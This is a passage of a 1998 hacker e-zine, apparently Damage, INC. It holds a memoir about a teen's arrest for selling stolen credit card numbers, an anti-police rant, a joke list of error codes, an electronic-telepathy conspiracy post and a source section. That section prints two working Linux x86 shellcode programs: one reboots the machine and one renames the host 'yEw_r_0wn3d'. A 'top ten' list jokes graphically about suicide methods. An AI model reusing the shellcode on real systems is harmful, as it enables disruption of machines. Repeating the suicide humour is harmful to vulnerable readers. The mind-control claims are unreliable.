into the South Florida +computer crime scene. + + Midnight's Co-Sysop then called up his board, downloaded the message, and +gave it to the Secret Service. One of their agents, at that point, logged onto +the system, saying that SHE heard about the credit cards from the co-sysop, and +was interested in purchasing. Sticking his entire foot in his mouth, and +showing absolute, complete, blind faith in that traitorous cocksucking bastard, +Midnight agreed to meet her, at a local Burger King, that Saturday. + + Seeing how seriously hot this girl was, Midnight Sorrow salivaically +overlooked his typical procedure of asking if she was a cop, fed, or a narc, +and simply wondered if he could get into her pants. Stupid. He then gave her +ten credit card numbers, selling them for $50 each. Exceedingly happy that +that scheme worked, Midnight Bonehead then went out and bought a pair of +Vuarnet sunglasses, twenty new CDs, and quite a bit of good computer hardware. + + Two days later, she called him back, saying how great those numbers were, +commenting on how they actually worked. She said she wanted to order some +major computer equipment, and asked if he knew of any place that took fake card +info without too much of a hassle. Midnight then said "Sure!" and gave her the +numbers of a few places that he had recently ordered from. + + Then she asked if it was possible to sell her some more numbers, meeting +the next Saturday, at the same Burger King. Of course, he mindlessly said +"Sure!", thinking to himself that he sure had a live one. She was probably +thinking the exact same thing. + + Next Saturda, Midnight's parents were out of town, so he figured it'd be +a perfect weekend to smuggle large quantities of cash and computer equipment +into his room. Once at the appointed "rendezvous", he then told her that he'd +be glad to sell her twenty more credit card numbers, but for $75 each. She +said no problem, took the numbers, and slapped a pair of handcuffs on his +wrists. Taking out a tape recorder, and laughing at Midnight's splendidly overt +stupidity, she read him his rights. Making things even more hideous and +embarrassing, two cars slid in on each side of his car, and another pulled in +behind it, totally blocking him in, looking like something out of "Wargames". + +He was fucked. + + The feds then ripped Midnight out of his car, slammed him up against the +trunk, and frisked him rather unkindly. They then unlocked the handcuffs, put +his arms behind his back, and re-locked them [rather tightly] into place. At +that point, Midnight Sorrow was NOT a happy camper, particularly after they +THREW him into the back of one of their Fed special Crown Victorias. + + The Secret Service agents then took Midnight to their domicile, at which +point he quite happily confessed to his crimes, and "narced" on some of his +enemies in the scene. They then informed Midnight that they had been keeping +tabs on him ever since his early C-64 days, and knew virtually everything about +him. To fully complete the young man's impending paranoia, they pulled out a +series of snapshots, seemingly randomly taken from outside of his house. One, +in particular, showed Midnight Sorrow on crutches, limping his way to his +father's Audi - which had been traded in almost two years ago. (Spooky, isn't +it?) + + Anyway - Midnight was then unceremoniously thrown into jail. He called +his parents at the hotel they were vacationingat, and briefly, sobbingly, +outlined the situation. Midnight was then told that he could damn well rot in +prison, for all he'd put them through. Understandable, but still frustrating. +After a rather, umm ... probing ... strip search, Midnight was then escorted to +the Fort Lauderdale prison's juvenile holding cell (not the adult cell, though, +sigh of relief), immediately having visions of being brutally raped by a +300-pound brick wall of a black man named Leroy. As always, reality proved +only SLIGHTLY different. + + Midnight Sorrow hung out with the other "inmates", and chatted with them +for a while. Most were not much older than he was at the time; the oldest was +around 25. Of the twelve people in the cell, ten were black, the other two +being a very frightened young Nicaraguan boy awaiting deportation, the other +being myself. After relating my story, they all seemed quite amused that +whitemeat was busted for some petty computer crime, while most of them were in +for grand theft auto, burglary, etc. + + Later that evening, Midnight Sorrow feasted upon a nice dinner of +meatloaf, string beans, mashed potatoes in gravy, corn bread, and some kind of +sweet roll/pastry kind of thing. All in all, FAR better than he usually ate at +home (Midnight's mother, you see, is a certified diet fanatic; "sugar-free +fat-free salt-free cholesterol-free" being almost a mantra around the house). +Quite a satisfying meal, all things considered. Midnight then went to sleep, +woke up the next morning, and just hung around, talking, playing cards, +whatever. That evening, around 5pm, Mr. Sorrow came and bailed him out. + + Approximately a month later, the trial was scheduled. Midnight's father +shelled out some cash and hired some super high-powered Miami criminal +attorney. He talked with the DA, John Frusciante, who now happens to reside +on Fort Lauderdale's high court, and actually tried running for Mayor once or +twice. (Ain't life amazing?) Anyway, what it boiled down to was a plea +bargain. Midnight got called into the judge's chambers, at which point the +judge sternly promised young Midnight that if he EVER saw him in the courthouse +again, awaiting trial, Midnight would pray for a quick death. + + A couple of months later, Midnight Sorrow got off with two years +probation, a prohibition from even TOUCHING a computer for the entirety of +those two years, a rather large fine, and a slap on the wrist warning him +never to do that again. + +------------------------------------------------------------------------------- + +Addendum Number One: + +Looking back on all of that, just judging by the sentencing, I would definitely +do it again. The only thing preventing me, is the extreme amount of +(emotional) pain I underwent when they confiscated all of my equipment, +leaving me with a pretty much empty room. (Guilt? Remorse? Nah, fuck that.) + +And here I am! My probation ended in October of 1989, and now I'm back (and +legal, fortunately). + +lateron + +Midnight Sorrow +June 22, 1991. + +P.S.: They never took the CDs, stereo equipment, or the Vuarnets. + +------------------------------------------------------------------------------- + +Addendum Number Two: + +It is now somewhere over twenty nine months since the time I wrote the original +text. I'm still in the computer scene, quite a bit more grown up, and dealing +with things quite a bit more maturely (generally). I no longer phreak, no +longer hack, no longer card, and basically no longer even pirate. Virtually +my only current computer-related pastime, these days, is running my network, +CyberCrime. (Funny that the name probably would have been more appropriate +for me during the period outlined in this text, than it is now.) Anyway... +Some people would call me reformed, others would call me an idiot, while still +others would hail me as a hero (of sorts). Of course, half of the things I did +back then would be asinine to even consider attempting now, with the advent of +ESS, ANI, caller id, multi-faceted PIN numbers, hack detection, instant credit +card referencing, order call-backs, no "drop-and-run" package deliverers, and +extreme legislation against these various crimes, making the penalties so much +greater now than they were then. Regardless, I would call myself none of the +above. I would simply say I grew up. Then again, my morals have never been +what one would call exemplary; only the thought of the consequences of a crime +is what stops me now. Regardless..... + +I am now 25, the proud owner of a home, a car, and quite happy and successful +at my career. Still hoping to find a solid relationship, and biding my time. +These days, computers are merely a hobby for me, and not my LIFE. Trying not +to sound like a pompous, self-absorbed, head-in-the-sand, reactionary prick, +I'd simply like to warn all the "kids" in the scene - stay cool, stay clean - +don't try any bullshit, the penalties are simply not worth it. True, the price +I paid was low - but it wouldn't be any more - not to mention the permanent +marks those "indiscretions" left on my record. + +Welp, I guess that's about it, folks. Thanks for reading, and thanks for +caring. + +lateron + +Mitchel Waas +Midnight Sorrow +December 2, 1993. + +------------------------------------------------------------------------------- + +(Not so) Final Addendum: + +It is now July 8, 1996 - my 28th birthday, a good thirteen years since the +beginning of this story, and just under five years since the end of it. The +computer BBS scene is all but gone, what with the massive popularity (and low +cost) of the Internet. Gone with the BBS scene are virtually all major forms +of computer crime, though hacking is still a hobby for many (though the price +runs VERY high in event of a bust). Even piracy has been significantly +reduced, due to the ubiquity of CD-ROM-based programs (making it so much more +difficult to copy these HUGE programs than it was just ten years ago, where +even a TWO-disc program was rarely seen). Infinite Darkness was taken down for +good in August of 1995. CyberCrime was disbanded in February of 1994, and +reformed as InfiNet (The InterNational Freedom of Information Network), which +I personally quit when my board was taken down. InfiNet actually still exists +to this day, though I no longer have any contact with it. Gone from my life +are all traces of computer crime - my only remaining infraction being the +occasional bit of piracy. My life is damn sweet, far better than outlined in +the previous addendum - an excellent career, outstanding social life, material +possessions enough to make even the most wealthy persons whimper in their sleep +- my life is pretty much complete, and losing even the least precious part +would be catastrophic beyond measure - NOW, even the THOUGHT of doing any of +the aforementioned crimes sends uncontrollable spasms up my spine. Suffice it +to say, I'm reformed. Today, Midnight Sorrow (the pseudonym) exists only as a +nickname for IRC use, as a link to the glory days of yesteryear - as many of my +fellow "oldsters" are encountered while haunting the endless halls of the +Internet. Midnight Sorrow (the person) ceased to exist, in reality, shortly +after my father passed away, in June of 1994, and now only exists in memories. +Mitchel Waas is who I am, and I'm damn proud of that fact, and of the name, and +everything for which it stands for. + +Thus ends the saga of Midnight Sorrow. + +lateron... for all eternity. + +Mitchel Waas +July 8, 1996. + +------------------------------------------------------------------------------- + +Yep! It's another Addendum: + +'Round and 'round she goes, where she stops, NOBODY knows... + +Boy, these wheels just keep spinning around and around. I guess the old adage +is true, "the more things change, the more they stay the same." It's now +October 18th, 1997, just over a year since the last addendum was written, and +boy have things changed. Well, somewhat. + +Infinite Darkness is back online (at 954-797-0666, NICE phone number, eh?), +strangely enough, and is busier NOW than it EVER was. No joke. With six +dialin lines, it's averaging between 40 and 60 callers a day, and is enjoying +FAR more activity than any prior bbs I've ever run. This BBS is more highly +satisfying NOW than it has ever before been. I suppose, due to the major +popularity of the internet, there has come about some sort of backlash against +it, causing a major (well, not MAJOR, but certainly a not insignificant) +revival of the whole BBS scene. As I said before, InfiNet is still around, +and I'm now a part of that (if only a member), as well as several dozen other +message networks, most of which are doing quite well. I've also restarted +CyberCrime, which is going nowhere fast, due to a severe lack of time to work +on it. But I'm here, and going nowhere. This has turned into one HIGHLY +enjoyable and fulfilling hobby. + +And yes, I'm back into software piracy, bigger now than ever before, and +getting busted is now a major focus on my mind, what with the massive bust of +all the Razor boards at the beginning of this year. Fortunately, I have no +serious scene affiliations, don't make a penny from the bbs users, and am not +connected to the internet (yet), so my worries are few. + +Aside from that, things are pretty much still the same. Midnight Sorrow IS +back, but I'm still basically the same old (and getting older) Mitchel Waas +you've read about in this nifty little (little?) story. I'm 29 years old now, +turning 30 in another nine months (scary!), and basically eke out my existence +through my BBS and my computer tech support business, which turns a fair +profit, nothing spectacular, but certainly enough to live a comfortable life. + +So, I guess that about covers the current situation. I wonder what things will +be like a year from NOW? You spin me round round baby round round like a +record baby round round round round... or something like that. :) + +lateron + +Mitch! +October 18, 1997. + + +LETTERS TO THE EDITOR - {LETTERS} + +Send Email to: damage_inc@mailcity.com. + +------------------------------------------------------------------------------- +I like what you've done to the web. The FAQ, the separated page links. Nice +smaller appearance not so bunched up. I see your considering moving the site. +Well at least you finally got Damage Inc off the ground and into the Internet +scene. Be interesting to see what happens with Damage Inc in 5 years when your +documents have gotten around the world a few times. That's what always +attracted me to Damage Inc the truth, honesty and information. I believe +information is power and the truth should be told. Otherwise we're blind, and +walk around with a bullseye on our ass waiting to be shot at with corruption and +greed. + +By the way if you do move the site you can still just create a "We've moved" +(with a hyperlink) web page from the current one and it'll always remain +there. That will keep the people informed. + +-- + +Dave Warren +dwarren@golden.net ICQ #: 6214593 +http://www.golden.net/~dwarren fidonet: 1:221/503 +------------------------------------------------------------------------------- + +Editor - Hey Dave. I can't take credit for what's been done to the web, + (www or www2) since I'm responsible for neither. If however you + were referring to the Damage, INC. web site, the majority of the + work that's gone into that has been done by Shatazar. Therefore, + I won't take credit for that either. I wrote the Damage, INC. FAQ + though, so perhaps I deserve a measure of credit for that. ;) + + We are considering getting our own top level domain in the future. + So, yes, the site's URL would change if/when that occurs...although + at this moment I don't know when that change will take effect. As + for what Damage, INC. is about...I believe the things you mentioned + above are what repel the zombies away in utter disgust. Their own + ignorance prevents them from accepting truth, honesty and analyzing + information that's presented to them. It's unfortunate, illogical + and sad...but it's true. You can show a blind man the way, answer + his questions and give him solutions to his problems. In the end + though, they may not want to see the truth that's been proven and + shown to them. I've realized that it's something that cannot be + forced upon anyone. Your bullseye analogy works and expresses almost + the same point. + + You can be assured that we'll inform everyone if the site moves... + and a hypertext link to it would be added to the existing web site. + + +OBJECTIVE OPINIONS - {OPINIONS} +Cops and Harassment. + + Have you ever watched the television shows COPS, Top Cops or To Serve and +Protect? They depict police officers that are in the process of busting people. +Cops sure seem to get a lot of TV coverage. Those shows make people think that +all the cops are good and worth the money that they are paid. However, do +they ever show cops that are using unnecessary force? As in, how many times +have you seen television footage of cops beating the fuck out of someone? +There have been numerous times when that has happened and the media hasn't shown +any coverage of it, nor have they mentioned those occurrences. There are many +instances of cops using excessive force while in the process of trying to arrest +a "suspect". + + Once, I saw a white guy who was beaten by a cop until he could no longer +see. It happened near a Canadian/American border while my parents and I were +there visiting some relatives. They asked me to go to the corner store and buy +some things for them. So, I said "Sure" and after getting proper direction I +was on my way. I was only about 11 years old at the time of this event. While +I was walking down the sidewalk, a cop pushed me out of the way as he was +chasing a guy. The person that the cop was chasing tripped on a curb and fell +to the ground. As soon as the cop was near him, he took out his night stick +and began hitting the man multiple times in the face. He continued striking +him until he was knocked out. It was a sick sight to see at that young age. +The cop just looked over at me and waved for me to get going. He probably hoped +that I wouldn't say anything, or testify against him regarding what I'd +witnessed. That cop wasn't even charged for what he had done. All the guy +he was chasing after did was shoplift and attempt to escape. Did he really +deserve to be assaulted for that petty crime? + + Most cops can barely even run, let alone catch anyone. Most of them have +had one too many doughnuts. ;) One night, I was at a bush party at a place +called Bass Lake. I'd estimate that 100 or more people were there. Almost +everyone was underage, and under the influence of drugs or alcohol. They had a +huge fire going. Everyone was just standing around drinking, talking etc. until +about twenty cop cars and two fire trucks came racing into the forest. Everyone +started to run away, as there must have been about thirty to forty police +officers running around trying to catch people. I was only chased for a short +distance because the cop lost his breath and stopped for gasps of air. As I +looked back at him, I saw that he had his night stick in his hands and he was +bent over trying to catch his breath. I just laughed (since we had only been +running for about forty seconds). Later that night I heard that out of the +100 people that were there, one person got caught because he had passed out +from all the drinking that he had done. He was 19 (legal drinking age in +Canada) so they couldn't do much to him. I talked with him a couple weeks +later to see what the cops asked him, and he said they wanted to know names +of people that were there, why he was there, who he went with, how many +people attended, if it was planned or just a hangout kinda place, who started +the fire and if he saw anyone doing drugs. That just proves how good our cops +are. Do they show that on TV? Approximately forty police officers can only +catch one person that was already passed out and could not move? Out of 100 +people, most of which were pissed at the time, the cops were sober and they +couldn't even catch one person that was running. + + Cops also like harassing people when they are doing nothing against the +law. They always target the areas that teenagers are at. For example, one +night I was downtown at about 11:50pm or so waiting for a friend and a cop van +pulled off the street and rolled down the window. He asked me if I knew what +time it was, what I was doing out so "late", what my name was. Then he looked +it up in the computer to make sure that I didn't have a criminal record etc. +He had no right to embarrass me like that, since there are no laws in this +area as to what time someone can be outside at night. There is no curfew for +teenagers in the city that I live in. To him it's just a power trip though. +He thinks that he is the boss and can tell people what time they can be outside +at and when it's safe and not safe to be downtown. In my opinion, it's our +choice to decide whether or not it's safe to be where you want. + + Another thing that pissed me off was when we got caught with about two and +a half grams of hash by a few police officers on off-road dirt bikes. I went +to the school with a few friends to smoke some hash, and just as we were getting +ready to leave, ten cops on dirt bikes came racing up. They started talking +to us, asking us questions like why we had a bottle in our hands, what our names +were, etc. He then started to threaten us, saying if we didn't hand over the +"drugs" they would take us in and arrest us. Finally, my friend, who was +holding it gave the hash to the cops, and they all looked at each other and +sort of smiled. The one guy on the bike said "You are lucky that we are not +going to take you in for this." He said that they have been scouting the area +like a hawk this week and we are the only people that they have found smoking +drugs. Then they took off on their bikes. It didn't hit me until later that +night, that these fuckers where probably going to smoke our shit. Otherwise, +why would they just let us go? The crooked smiles they gave as my friend handed over +the hash to them really made me think that they were going to smoke it. They +were abusing their so-called fucking powers. They think that they are so big +and tough when they have their little gay blue uniforms on. Meanwhile, they +need night sticks, guns, gases, etc. + + Why don't cops start doing their jobs rather then harassing people, taking +their drugs to smoke for personal use? Why don't they just spend that time +trying to catch real criminals such as serial killers, instead of wasting +their time pulling over teenagers asking them questions about where they should +be? Also, they should train more often and eat fewer doughnuts. Do you still +think that cops are worth every penny of your tax dollars? The average cop +makes about $46,500 a year. + + Cops are lazy and often try to take the "easy route", rather then doing +their jobs and actually trying to solve crimes. This last winter my neighbour +went away to Florida, as she usually does. She left us to watch her house +(take her mail inside and snow plow the driveway). On a Saturday, I decided to +go over and take her mail inside. First, I went over to the side door and it +was half-way open, but I thought it was just the door because sometimes it +doesn't close properly. I went through the door and you have to unlock another +door to get into the house. It was locked, so I unlocked it and went in. I saw +the pile of mail first that was scattered across the floor. I immediately knew +that something was wrong because I had kept the mail in a neat pile. I remember +thinking that someone was still in the house because of a noise that came from +upstairs. I looked into the bedroom on the right and noticed the bed was +flipped over, all cut up, and the contents of some drawers were scattered on the +floor. All of the lights were smashed in that room (the desk lamps and the main +light). I decided to go upstairs to see if anyone was still in the house. I +checked every room and things were everywhere, but didn't see anyone in the +house. I then went back downstairs to find a phone so that I could report what +had happened. There was also a whiskey bottle on the floor in plain view and +the fan was turned on. It looked as though the intruder(s) had been inside of +the house for a while. + + I called the cops from inside of the house, and when they arrived they told +me to leave so they could check things out. About half an hour later the cops +rang my doorbell and started questioning me! They said things like "May we +please see your shoes?" and they took my fingerprints. The shoes I was wearing +matched the shoe marks they found on the carpet. They showed me the shoe marks +(which were *very* fresh and still wet), compared them to my shoes, and started +harassing me with questions like "Were you involved in any way with this +break-in?" and "How did your shoe marks get inside then?" I was ready to go +ape shit on them. I fucking told them everything that I did. I explained how +I went inside to take in the mail and noticed that someone had been in there. +Why couldn't they figure out how my fucking shoe marks got in the house? Haha. +Then they started to ask me smart-assed questions like "How would someone get +in? All the windows are boarded up, none were smashed, the doors were locked, +and you were the only one they left with a key." I replied with these *exact* +words: "How the fuck should I know? That's not my job to figure out." Then +the cop started saying shit like "It'd be a lot easier for both of us if you +would just cooperate." I was being accused of something I never did. They +were making it sound like I was guilty. What did they want me to do? He told +me to go with him into the house. So, I went with him and *EVERY* cop in the +house was looking at me. I couldn't take it anymore. I told them to leave me +alone, unless they were going to charge me and then I left. They never did +return to my house. ;) + + After that, I still had to take my neighbour's mail in and snow plow. +About a week later, as I was about to open the door I glanced down at the lock +and noticed some pry marks on both doors. I shook my head and thought how the +fuck could the cops miss that!? They were just trying to take the easy way out +by immediately blaming me, instead of doing all of the necessary work for an +investigation. + +Written by Fatal Vision ú Damage, INC. (C)opyright 1998. + + +REPORTS FROM THE FRONT - {REPORTS} + + Recently the following undocumented Windows 95 error-codes were found. + Microsoft forgot to explain them in the manuals, so they will be spread + via the Internet: + + * WinErr: 001 Windows loaded - System in danger + + * WinErr: 002 No Error - Yet + + * WinErr: 003 Dynamic linking error - Your mistake is now in every file + + * WinErr: 004 Erroneous error - Nothing is wrong + + * WinErr: 005 Multitasking attempted - System confused + + * WinErr: 006 Malicious error - Desqview found on drive + + * WinErr: 007 System price error - Inadequate money spent on hardware + + * WinErr: 008 Broken window - Watch out for glass fragments + + * WinErr: 009 Horrible bug encountered - God knows what has happened + + * WinErr: 00A Promotional literature overflow - Mailbox full + + * WinErr: 00B Inadequate disk space - Free at least 50MB + + * WinErr: 00C Memory hog error - More Ram needed. More! More! More! + + * WinErr: 00D Window closed - Do not look outside + + * WinErr: 00E Window open - Do not look inside + + * WinErr: 00F Unexplained error - Please tell us how this happened + + * WinErr: 010 Reserved for future mistakes by our developers + + * WinErr: 013 Unexpected error - Huh ? + + * WinErr: 014 Keyboard locked - Try anything you can think of. + + * WinErr: 018 Unrecoverable error - System has been destroyed. Buy a new + one. Old Windows license is not valid anymore. + + * WinErr: 019 User error - Not our fault. Is Not! Is Not! + + * WinErr: 01A Operating system overwritten - Please reinstall all your + software. We are terribly sorry. + + * WinErr: 01B Illegal error - You are not allowed to get this error. Next + time you will get a penalty for that. + + * WinErr: 01C Uncertainty error - Uncertainty may be inadequate. + + * WinErr: 01D System crash - We are unable to figure out our own code. + + * WinErr: 01E Timing error - Please wait. And wait. And wait. And wait. + + * WinErr: 020 Error recording error codes - Additional errors will be lost. + + * WinErr: 042 Virus error - A virus has been activated in a DOS-box. The + virus, however, requires Windows. All tasks will automatically be closed + and the virus will be activated again. + + * WinErr: 079 Mouse not found - A mouse driver has not been installed. + Please click the left mouse button to continue. + + * WinErr: 103 Error buffer overflow - Too many errors encountered. + Additional errors may not be displayed or recorded. + + * WinErr: 678 This will end your Windows session. Do you want to play + another game? + + * WinErr: 683 Time out error - Operator fell asleep while waiting for + the system to complete boot procedure. + + * WinErr: 815 Insufficient Memory - Only 50.312.583 Bytes available + and . . . + + * WinErr: 625 Working Error - The system has been working perfectly + for the past ten minutes + + * WinErr: 902 Screen Error - The system is working perfectly, I'm not + lying, your monitor is wrong + + * WinErr: 72a Crucial Halt - Hang on, WHAT was that? + + * WinErr: 72b Memory Error - What? Tell me again. + + * WinErr: 39c Disk Error in drive a: - Although your disk is in perfect + condition (I just formatted it), I don't like it any more and . . . + + * WinErr: 983 Hard Disk Error - The files on the hard disk were neatly + arranged and fully optimized, so I had to mess them up and put a couple + of hundred .TMP files all over the place + + * WinErr: 294 BlackMail Error - $200 to Gates or your computer gets screwed + + * WinErr: 294b BlackMail Error - $200 to Gates or I'll show your wife the + JPG's you just downloaded + + * WinErr: 394 Memory Error - you have been attempting to run this on a + Pentium 120 with 64MB of RAM. This is not good enough. + + * WinErr: 872 Can't Be bothered - Do I have to? + + (Copyright ) 1995 Cactus International, Inc. All rights reserved. + Zap@turbonet.com, Editor - Tony@turbonet.com, Webmaster + + +From: Allen Drugge +Newsgroups: alt.mindcontrol,alt.conspiracy,alt.psychology.mindmachine +Subject: ET +Date: 07 Feb 98 12:14:22 +0500 +Message-ID: <3583.7342T734T1126@accessone.com> + + Electronic Telepathy + + One of the more recent tools of oppression to have made +its emergence in the evolving techno-nightmare scenario is +Electronic Telepathy or "ET" + +1. It is no longer necessary to have electrodes attached to +monitor a persons brain wave activity, it can be done remotely. + +2. Computer encoding has broken down the signals so they can +now output what it is a person is thinking. + +3. A persons subconscious life can be overridden by externally +induced dreams. + +Only a total revolution in thinking can prepare one for the +staggering implications and realities of this bold +usurpation of the Newtonian order. + +In addition to being able to 'read your conscious thought' +the state of the art now allows for interactive dream +invasion and total control over its content. + +"ET" has realized the ambition for the establishment of a +"neo-voodoo" ordered culture where TV commercials, qued by +computer, can and are being used as negative feedback to +privately held thoughts of select targeted individuals when +they're not being used to assuage the cherished notions of +the collective masses, most of them being negative. The +media are in collusion with this up to their eye balls. +It's not just for entertainment anymore not that it ever was. + +Negative feedback/reinforcement to ones private thoughts, +images or urges in the form of microwave verisimilitudes is +also another tactic. Inducing stress, nervousness or distortion +(signs commonly interpreted as indicating guilt, lying or +uncertainty) in ones voice or demeanour to coincide with the +uttering of select "buzz words" is a common example of this. + +The criminal and political possibilities, which in this 'brave +new world' are almost synonymous, are endless and no doubt are +being exploited as well. + +The pop culture has not been ignorant of this new reality and +accordingly has incorporated elements of it into the +'collective psyche.' + +Movies such as "Foxfire," "Brainstorm," "The Golden Child," +"Steel Justice," "Desert Passion," "The Sorcerers," "Total +Recall," "Hellraiser III:," "Casino Royale," "Making Mr. Right," +"Megaville," "No Escape," "In the belly of the Dragon," +"Batman Forever" and MTV's "Dead @ 21" all draw on elements +of Electronic Telepathy. There are many others. Reference to +"ET" can be found in tunes like: "Welcome to the Machine," +"The Dream Police," "Thinking around corners," "West of the +Fields" and "Kiss me when I get back." + +The marriage of Science and Voodoo, in pursuit of the Clerical +agenda, has spawned a psychopathic covert, extra-legal industry +who's only function is murder by number, madness and chaos. + +Individuals can be put under with microwave for almost +indefinite periods of time while the psyche is raped/programmed +by "ET" dreams and don't think that they're putting 'good +thoughts' into peoples heads, not to mention the myriad ways +to torture/"destabilize," thru psychotronic means, during the +waking hours. There are people in this country who probably +haven't had a dream they can call their own for about 30 years. +The "unthinkable" is now the new reality. + +This disclosure doesn't take into account the possible use of +brain implants (the cyborg protocol), subliminal messaging or +entrainment. + +Recognition of this technology and the abuses of it is the +first step towards any supposedly 'free people's' taking charge +of their 'own' destinies--failure to do so is enslavement. +Burying your head in the sand will not make it go away. + + +-- + + "If you want your own dream, you're going to + have to fight for it!" + + +SOURCE AND SCRIPTS - {SOURCE} + + +REBOOT.C +------------------------------------------------------------------------------- +/* assembly code to reboot a Linux x86 box + +jmp rootshell +coded_by_bmV: + popl %edi + call reb00t +rootshell: + call coded_by_bmV +reb00t: + xorl %eax,%eax + movb $0x24,%eax + int $0x80 + xorl %eax,%eax + movb $0x58,%eax + movl $0xfee1dead,%ebx + movl $672274793,%ecx + movl $0x1234567,%edx + int $0x80 + xorl %eax,%eax + movb $0x01,%al + int $0x80 + +*/ + +char shellcode[]= + "\xeb\x06\x5f\xe8\x05\x00\x00\x00\xe8\xf5\xff" + "\xff\xff\x31\xc0\xb0\x24\xcd\x80\x31\xc0\xb0" + "\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28" + "\xba\x67\x45\x23\x01\xcd\x80\x31\xc0\xb0\x01" + "\xcd\x80\x89\xec\x5d\xc3"; + +void main() +{ + int *ret; + + ret = (int *)&ret + 2; + (*ret) = (int)shellcode; +} +------------------------------------------------------------------------------- + +HOSTOWN.C +------------------------------------------------------------------------------- +/* written just for grins ;-) + code to change to hostname of the + target machine to: yEw_r_0wn3d + + jmp rootshell + by_bm5: + popl %edi + call asmcode + rootshell: + call by_bm5 + asmcode: + xorl %eax,%eax + movb $0x4a,%al + xorl %ebx,%ebx + movb $(string-asmcode),%bl + addl %edi,%ebx + xorl %ecx,%ecx + movb $0x0b,%cl + int $0x80 + xorl %eax,%eax + movb $0x01,%al + int $0x80 + .byte + string: + .ascii "yEw_r_0wn3d" +*/ + +char shellcode[]= + "\xeb\x06\x5f\xe8\x05\x00\x00\x00\xe8\xf5\xff\xff\xff" + "\x31\xc0\xb0\x4a\x31\xdb\xb3\x16\x01\xfb\x31\xc9\xb1" + "\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x79\x45\x77\x5f" + "\x72\x5f\x30\x77\x6e\x33\x64\x89\xec\x5d\xc3"; + +void main() +{ + int *ret; + + ret = (int *)&ret + 2; + (*ret) = (int)shellcode; +} +------------------------------------------------------------------------------- + + +THC PHREAK'S TOP TEN LIST - {TOP TEN} +"Ways to kill yourself" + + 1. Jump off of the CN Tower into the SkyDome during a baseball game + while the roof is open and land near first base. On the way down, + drop leaflets that read "Did you see that?" It's one way to ensure + that your death is televised and seen by a large crowd of cheering + people. It's a real attention grabber too. The people watching + will literally be on the edge of their seats. Maybe they'll even + do the wave as a tribute to you. :) This one is strictly for + Canadians. + + 2. Stand on railway tracks and wait for a high speed train to approach. + As it's travelling at 100+ mph, video tape it heading straight at + you. Then, to prove that you're fearless, start running at the + train and right before impact, attempt to shoulder tackle it. At + least nobody can say you didn't have guts and call you a coward. + This one is strictly for Europeans. + + 3. Go to a steel plant. Dive head first into a container of molten + steel. Swim around in it and pretend that it's water. Show no + pain as you're body is being incinerated. This one is for anyone + that lives close to a steel plant. + + 4. Sit in the middle of a busy intersection and pour gasoline all + over yourself. Light a cigarette. Start smoking it. Then light + yourself on fire. Continue smoking as though nothing is happening. + + 5. Tape bullets, shards of glass, sharp pieces of triangular sheet + metal, nails etc. to your body. Then drink nitro glycerin and + inject it into your veins while standing in a busy subway station. + Start hopping around. Do the "human pipe bomb." + + 6. Get some C4 and TNT. Dress up as Barney. Attach the explosives + to your body underneath the suit. Go hand gliding off a tall + building in a large city like New York, and detonate the explosives. + It's called the "Barney Splat." + + 7. Don't sleep for 20 years. Eventually you'll die. It's a slow, + boring death though. Sit and stare at a computer monitor instead + of sleeping. They don't call them "terminals" for nothing. The + radiation can be terminal. This one is for slow people. + + 8. Carve an anarchy symbol into your back using a dull knife. You + probably won't bleed to death, but it was fun right? So what if + it doesn't kill you. :) This one is for sadistic anarchists. + + Or, if you really like this method and want to die, do that while in + a pit of leeches. If that fails, swim with some sharks while you're + bleeding. You'll feed their frenzy. + + 9. Prescription for death: Listen to a warez d00d brag about how many + 0 second warez they have. Repeat daily until death ensues. It + should take 4-6 weeks. Warning: Very slow and painful. It will + seem like 6 years of torture. This one is for Kevorkianites. + + 10. Walk into a police station holding a gun. This is the quickest + death since the trigger happy cops will gladly riddle you with + bullets (even if it's a gun amnesty day for handing over weapons). + Of course, you'll have to wait until some of them put their coffee + cups down, shoot and actually hit their target. If you want to + die faster, don't move. If you move, they'll miss. Start shooting + at them and they might get serious. Then put the gun to your own + head and pull the trigger to cheat them out of the kill. :) + + +Warning: Don't try any of the methods above and think you're kewl. This + disclaimer is here to prevent you from acting foolishly. If you + are under 18 then take my word for it, this shit is dangerous. + So, be sure to get your parent's permission first kiddies. :) + +--- Written by THC Phreak --- + + +THOUGHTS, POEMS AND CREATIVE WRITING - {WRITING} +Thoughts beyond this Physical World. + +Many people believe that when the Apocalypse arrives, it will be the end of +the world. That is definitely a conceited claim. + +The human race is but a shooting star which falls from the sky when compared to +the time our planet has existed. And the planet Earth will exist long +after we are nothing but dust in the wind. + +In the physical world, everything has a lifespan. Birth, growth, and death +are the constant rules of our existence. + +However, there is another dimension to the human race that is not prevalent +in any other terrestrial creature. We also have intelligence and spirit. + +Our intelligence and sentience enables us to learn some of the secrets of the +physical world. Many humans have dedicated their lives to this pursuit. + +Current scientific and technological discoveries are a result of this +overpowering need to master the physical world. It is unfortunate that +most of our race's wit and wisdom is dedicated to satisfy our primal +instincts. + +Meanwhile, has the human spirit evolved and changed in recent history? +In my opinion, many humans have regressed into zombies. + +Wouldn't it be beneficial to us all if we could harness the power of our +mind? Telepathy, telekinesis, astral projection and other abilities could +belong to all of us. + +However such abilities would be used by shortsighted people in the +neverending battle to impose their own order upon this physical world. +Those abilities should be developed and used to expand our horizons beyond +what we know, into worlds we haven't yet explored. + +This physical world is being abused and exhausted. If the human race +wants to grow, we must turn our heads and look in a new direction. + +Written by Shatazar ú Damage, INC. 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Newsletter freely to quality +h/p boards only. + + Copyright 1998 by Damage, INC. + All Rights Reserved. +_______________________________________________________________________________ + + +INTRODUCTION: Through the darkness, between the states of madness and above + the countless layers of misinformation. It's August and we're + flying high again. So, drop a few hits, get out your favourite + bong, rip open that garbage bag of weed, cut that brick of hash + with a chainsaw, or just grab your dirty old crack pipe... + because it's time to start stokin' and tokin' again. ;) + + Have no phear, there's plenty of dope for everyone. We've got + an infinite supply of premium bud stashed away in a safe place + here for you to try. This is the alternate dimension of the + universe, where nobody knows your name and nobody cares since + everyone is baked. A true Utopia? That's for you to decide. + In this realm, the people are all strange and their thoughts + are their own. Ideas and opinions aren't dismissed for being + different. Yes, indeed it is an unearthly place to be. + However, it's where we reside... thriving on the uniqueness + of what surrounds us. There are no rules and we phear nothing. + In this world, intelligent beings are free to think and do + anything. Is it reality or illusion? Dreams and illusions + aren't lasting. They are transparent realities that can be + easily shattered. However, thoughts are real. Their energy + is tangible and powerful. Embrace your "strange", "deviant", + "weird", "wrong", "unacceptable", "unpopular", "abnormal", + "psychotic" 